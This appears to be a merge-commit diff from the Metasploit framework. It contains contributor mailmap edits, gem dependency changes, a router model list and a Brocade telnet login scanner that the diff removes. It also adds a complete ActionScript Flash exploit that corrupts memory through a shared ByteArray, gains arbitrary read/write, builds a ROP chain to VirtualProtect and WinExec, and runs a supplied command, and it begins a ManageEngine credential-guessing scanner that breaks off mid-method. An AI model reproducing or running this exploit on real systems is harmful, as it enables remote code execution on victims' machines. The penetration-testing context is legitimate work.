Merge branch 'master' into feature/MSP-12357/meterp-ntds
commit
1a8e8c624c
18
.mailmap
18
.mailmap
|
@ -1,41 +1,45 @@
|
|||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <techpeace@gmail.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
|
|
|
@ -9,7 +9,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.22)
|
||||
metasploit-payloads (= 0.0.3)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -123,6 +123,7 @@ GEM
|
|||
metasploit-model (0.29.2)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit-payloads (0.0.3)
|
||||
metasploit_data_models (0.24.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
|
@ -132,7 +133,6 @@ GEM
|
|||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.22)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.2)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,7 +1,14 @@
|
|||
Alphanetworks wrgg19_c_dlwbr_dir300
|
||||
Alphanetworks wrgg19_c_dlwbr_dir300
|
||||
Alphanetworks wrgn49_dlob_dir600b
|
||||
Alphanetworks wrgn23_dlwbr_dir600b
|
||||
Alphanetworks wrgn22_dlwbr_dir615
|
||||
Alphanetworks wrgnd08_dlob_dir815
|
||||
Alphanetworks wrgg15_di524
|
||||
Alphanetworks wrgn39_dlob.hans_dir645
|
||||
Alphanetworks wrgn39_dlob.hans_dir645
|
||||
Alphanetworks wapnd03cm_dkbs_dap2555
|
||||
Alphanetworks wapnd04cm_dkbs_dap3525
|
||||
Alphanetworks wapnd15_dlob_dap1522b
|
||||
Alphanetworks wrgac01_dlob.hans_dir865
|
||||
Alphanetworks wrgn23_dlwbr_dir300b
|
||||
Alphanetworks wrgn28_dlob_dir412
|
||||
Alphanetworks wrgn39_dlob.hans_dir645_V1
|
||||
|
|
|
@ -0,0 +1,502 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package
|
||||
{
|
||||
import flash.utils.*
|
||||
import flash.display.*
|
||||
import flash.system.*
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public final class Msf extends Sprite {
|
||||
|
||||
private var shared_ba:ByteArray = null
|
||||
|
||||
private var hole_ba:ByteArray = null;
|
||||
private var confuse_length_ba:ByteArray = null;
|
||||
private var fake_ba:ByteArray = null;
|
||||
private var worker:Worker = null;
|
||||
|
||||
private var byte_array_vector:Vector.<Object> = null;
|
||||
private var byte_array_vector_length:int;
|
||||
|
||||
private var object_vector:Vector.<Object> = null;
|
||||
private var object_vector_length:uint;
|
||||
|
||||
private var ba:ByteArray
|
||||
private var uv:Vector.<uint>
|
||||
private var corrupted_uv_index:uint = 0
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = ""
|
||||
|
||||
public function Msf() {
|
||||
this.object_vector_length = 5770 * 2
|
||||
this.byte_array_vector_length = 510 * 2
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
this.initialize_worker_and_ba()
|
||||
if (!this.trigger())
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
var index:uint = search_uint_vector(114, 0x40000000)
|
||||
if (index == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
this.uv = this.object_vector[this.corrupted_uv_index]
|
||||
|
||||
// Use the corrupted Vector<uint> to search saved addresses
|
||||
var object_vector_pos:uint = search_object_vector()
|
||||
var byte_array_object:uint = this.uv[object_vector_pos] - 1
|
||||
var main:uint = this.uv[object_vector_pos + 2] - 1
|
||||
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
|
||||
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
|
||||
|
||||
// Locate the corrupted Vector<uint> in memory
|
||||
// It allows arbitrary address memory read/write
|
||||
var ba_address:uint = search_ba_address()
|
||||
if (ba_address == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
var uv_address:uint = ba_address + index
|
||||
this.uv[0] = uv_address
|
||||
|
||||
// Use the corrupted Vector<uint> to disclose arbitrary memory
|
||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||
var buffer:uint = vector_read(buffer_object + 8)
|
||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||
var vtable:uint = vector_read(main)
|
||||
|
||||
// Set the new ByteArray length
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
|
||||
// Overwite the ByteArray data pointer and capacity
|
||||
var ba_array:uint = buffer_object + 8
|
||||
var ba_capacity:uint = buffer_object + 16
|
||||
vector_write(ba_array)
|
||||
vector_write(ba_capacity, 0xffffffff)
|
||||
|
||||
// restoring the corrupted vector length since we don't need it
|
||||
// anymore
|
||||
this.uv[0] = 0xfeedbabe
|
||||
//index = search_uint_vector(0xffffffff, 114)
|
||||
index = search_uint_vector(0x40000000, 114)
|
||||
if (index == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
byte_write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, payload_address + 8)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
|
||||
toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
final private function initialize_worker_and_ba():Boolean{
|
||||
this.ba = new ByteArray()
|
||||
this.ba.endian = "littleEndian"
|
||||
this.ba.length = 1024
|
||||
this.ba.writeUnsignedInt(0xdeedbeef)
|
||||
this.ba.position = 0
|
||||
|
||||
this.shared_ba = new ByteArray()
|
||||
this.shared_ba.shareable = true
|
||||
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
||||
this.shared_ba.writeUnsignedInt(252536)
|
||||
this.shared_ba.writeUnsignedInt(16777216)
|
||||
|
||||
this.confuse_length_ba = new ByteArray()
|
||||
this.confuse_length_ba.length = 0x2000
|
||||
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
||||
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
||||
|
||||
this.fake_ba = new ByteArray();
|
||||
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
||||
|
||||
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
||||
return true;
|
||||
}
|
||||
|
||||
final private function trigger():Boolean{
|
||||
// Memory massaging
|
||||
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
||||
this.fill_byte_array_vector();
|
||||
// 2. Clear the marked ByteArray
|
||||
this.hole_ba.clear();
|
||||
|
||||
// The shared_ba should be left in "shared" state
|
||||
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
||||
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
||||
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
||||
|
||||
// fake_ba *data* is going to fill the space freed from the hole
|
||||
this.fake_ba.length = 0x2000;
|
||||
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
||||
|
||||
// Trigger the vulnerability, if the memory layout is good enough
|
||||
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
||||
this.shared_ba.uncompress()
|
||||
|
||||
// So its size should be 0x2000
|
||||
if (this.shared_ba.length != 0x2000)
|
||||
{
|
||||
return false
|
||||
}
|
||||
|
||||
// Free the fake_ba and make holes on the ByteArray's
|
||||
// allocated on massaging.
|
||||
this.free_fake_and_make_holes()
|
||||
|
||||
// Fill the holes and the fake_ba data space with
|
||||
// <uint> vectors
|
||||
this.fill_with_vectors()
|
||||
|
||||
// Hopefully the shared_ba metadata, product of the vulnerability
|
||||
// at this moment point to the <uint> vectors in memory =) it means
|
||||
// game over.
|
||||
var pwn_test:uint;
|
||||
this.shared_ba.position = 0;
|
||||
pwn_test = this.shared_ba.readUnsignedInt();
|
||||
|
||||
if (pwn_test == 0xBBBBBBBB)
|
||||
{
|
||||
return false
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
||||
var i:int;
|
||||
local_ba.position = 0;
|
||||
i = 0;
|
||||
while (i < (local_ba.length / 4))
|
||||
{
|
||||
local_ba.writeInt(value);
|
||||
i++;
|
||||
};
|
||||
local_ba.position = 0;
|
||||
}
|
||||
|
||||
final private function fill_byte_array_vector():void{
|
||||
var i:int;
|
||||
var local_ba:ByteArray;
|
||||
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
||||
|
||||
i = 0;
|
||||
|
||||
while (i < this.byte_array_vector_length)
|
||||
{
|
||||
local_ba = new ByteArray();
|
||||
this.byte_array_vector[i] = local_ba;
|
||||
local_ba.endian = Endian.LITTLE_ENDIAN;
|
||||
i++;
|
||||
}
|
||||
|
||||
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
||||
if (hole_index % 2 == 0)
|
||||
{
|
||||
hole_index++;
|
||||
}
|
||||
|
||||
for(i = 0; i < this.byte_array_vector_length; i++)
|
||||
{
|
||||
local_ba = this.byte_array_vector[i] as ByteArray
|
||||
local_ba.length = 0x2000
|
||||
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
||||
local_ba.writeInt(0xbabefac0)
|
||||
local_ba.writeInt(0xbabefac1)
|
||||
local_ba.writeInt(i)
|
||||
local_ba.writeInt(0xbabefac3)
|
||||
if (i == hole_index)
|
||||
{
|
||||
this.hole_ba = local_ba;
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
final private function free_fake_and_make_holes():void {
|
||||
var i:int
|
||||
var clear_ba:ByteArray
|
||||
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
||||
|
||||
if (hole_index % 2 == 0)
|
||||
{
|
||||
hole_index++;
|
||||
}
|
||||
|
||||
for (i = 0; i < this.byte_array_vector_length; i++)
|
||||
{
|
||||
if (i == hole_index) {
|
||||
this.fake_ba.clear();
|
||||
} else {
|
||||
if (i % 2 == 1)
|
||||
{
|
||||
clear_ba = this.byte_array_vector[i] as ByteArray
|
||||
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
||||
clear_ba.clear()
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
final private function fill_with_vectors():void {
|
||||
var i:uint;
|
||||
var uint_vector:Vector.<uint>;
|
||||
var objects:Vector.<Object>;
|
||||
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
||||
|
||||
i = 0
|
||||
while (i < this.object_vector_length)
|
||||
{
|
||||
if (i % 2 == 0) {
|
||||
this.object_vector[i] = new Vector.<uint>()
|
||||
} else {
|
||||
this.object_vector[i] = new Vector.<Object>()
|
||||
}
|
||||
i++
|
||||
}
|
||||
|
||||
i = 0
|
||||
while (i < this.object_vector_length)
|
||||
{
|
||||
if (i % 2 == 0) {
|
||||
uint_vector = this.object_vector[i] as Vector.<uint>
|
||||
uint_vector.length = 114
|
||||
uint_vector[0] = 0xfeedbabe
|
||||
uint_vector[1] = i
|
||||
uint_vector[2] = 0xbabeface
|
||||
} else {
|
||||
objects = this.object_vector[i] as Vector.<Object>
|
||||
objects.length = 114
|
||||
objects[0] = this.ba
|
||||
objects[1] = i
|
||||
objects[2] = this
|
||||
objects[3] = this.stack
|
||||
objects[4] = this.payload_space
|
||||
}
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
// Use the corrupted shared_ba to search and corrupt the uint vector
|
||||
// Returns the offset to the *length* of the corrupted vector
|
||||
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
||||
this.shared_ba.position = 0
|
||||
var i:uint = 0
|
||||
var length:uint = 0
|
||||
var atom:uint = 0
|
||||
var mark_one:uint = 0
|
||||
var index:uint = 0
|
||||
var mark_two:uint = 0
|
||||
while (i < 0x2000) {
|
||||
length = shared_ba.readUnsignedInt()
|
||||
if (length == old_length) {
|
||||
atom = shared_ba.readUnsignedInt()
|
||||
mark_one = shared_ba.readUnsignedInt()
|
||||
index = shared_ba.readUnsignedInt()
|
||||
mark_two = shared_ba.readUnsignedInt()
|
||||
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
||||
shared_ba.position = i
|
||||
shared_ba.writeUnsignedInt(new_length)
|
||||
this.corrupted_uv_index = index
|
||||
return i;
|
||||
}
|
||||
i = i + 16
|
||||
}
|
||||
i = i + 4
|
||||
}
|
||||
return 0xffffffff
|
||||
}
|
||||
|
||||
// Use the corrupted shared_ba to disclose its own address
|
||||
private function search_ba_address():uint {
|
||||
var address:uint = 0
|
||||
this.shared_ba.position = 0x14
|
||||
address = shared_ba.readUnsignedInt()
|
||||
if (address == 0) {
|
||||
address = 0xffffffff
|
||||
this.shared_ba.position = 8
|
||||
var next:uint = shared_ba.readUnsignedInt()
|
||||
var prior:uint = shared_ba.readUnsignedInt()
|
||||
if (next - prior == 0x8000) {
|
||||
address = prior + 0x4000
|
||||
}
|
||||
} else {
|
||||
address = address - 0x30
|
||||
}
|
||||
|
||||
return address
|
||||
}
|
||||
|
||||
// Use the corrupted uint vector to search an vector with
|
||||
// interesting objects for info leaking
|
||||
private function search_object_vector():uint {
|
||||
var i:uint = 0;
|
||||
while (i < 0x4000){
|
||||
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
|
||||
return i + 1;
|
||||
}
|
||||
i++
|
||||
}
|
||||
return 0xffffffff
|
||||
}
|
||||
|
||||
// Methods to use the corrupted uint vector
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > this.uv[0]) {
|
||||
pos = ((addr - this.uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
this.uv[pos] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > this.uv[0]) {
|
||||
pos = ((addr - this.uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return this.uv[pos]
|
||||
}
|
||||
|
||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Methods to search the memory with the corrupted byte array
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,122 +0,0 @@
|
|||
require 'msf/core'
|
||||
require 'metasploit/framework/telnet/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# This is based off of the telnet LoginScanner. We had to role our own,
|
||||
# based on hdm's recommendation, since we're not trying to login to telnet,
|
||||
# but we're actually doing the escalated privileges (enable) login.
|
||||
class Brocade_Telnet
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Telnet::Client
|
||||
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 23
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'telnet' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
# @!attribute verbosity
|
||||
# The timeout to wait for the telnet banner.
|
||||
#
|
||||
# @return [Fixnum]
|
||||
attr_accessor :banner_timeout
|
||||
# @!attribute verbosity
|
||||
# The timeout to wait for the response from a telnet command.
|
||||
#
|
||||
# @return [Fixnum]
|
||||
attr_accessor :telnet_timeout
|
||||
|
||||
validates :banner_timeout,
|
||||
presence: true,
|
||||
numericality: {
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 1
|
||||
}
|
||||
|
||||
validates :telnet_timeout,
|
||||
presence: true,
|
||||
numericality: {
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 1
|
||||
}
|
||||
|
||||
# (see {Base#attempt_login})
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'telnet'
|
||||
}
|
||||
|
||||
begin
|
||||
if connect_reset_safe == :refused
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
else
|
||||
if busy_message?
|
||||
self.sock.close unless self.sock.closed?
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
end
|
||||
|
||||
unless result_options[:status]
|
||||
raw_send("enable\r\n") #send the enable command
|
||||
unless password_prompt?
|
||||
send_user(credential.public)
|
||||
end
|
||||
|
||||
recvd_sample = @recvd.dup
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
||||
end
|
||||
|
||||
if password_prompt?(credential.public)
|
||||
send_pass(credential.private)
|
||||
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
||||
end
|
||||
end
|
||||
|
||||
if login_succeeded?
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
else
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
end
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
# like timeouts and TCP evasion options
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.banner_timeout ||= 25
|
||||
self.telnet_timeout ||= 10
|
||||
self.connection_timeout ||= 30
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
# Shim to set up the ivars from the old Login mixin
|
||||
create_login_ivars
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,135 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class ManageEngineDesktopCentral < HTTP
|
||||
|
||||
DEFAULT_PORT = 8020
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is ManageEngine Dekstop Central.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is MSP, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}/configurations.do")
|
||||
res = send_request({'uri' => login_uri})
|
||||
|
||||
if res && res.body.include?('ManageEngine Desktop Central')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from MSP
|
||||
#
|
||||
# @param [Rex::Proto::Http::Response]
|
||||
# @return [String] The session ID for MSP
|
||||
def get_sid(res)
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(DCJSESSIONID=\w+);*/).flatten[0] || ''
|
||||
sid
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Returns the hidden inputs
|
||||
#
|
||||
# @param [Rex::Proto::Http::Response]
|
||||
# @return [Hash] Input fields
|
||||
def get_hidden_inputs(res)
|
||||
found_inputs = {}
|
||||
res.body.scan(/(<input type="hidden" .+>)/).flatten.each do |input|
|
||||
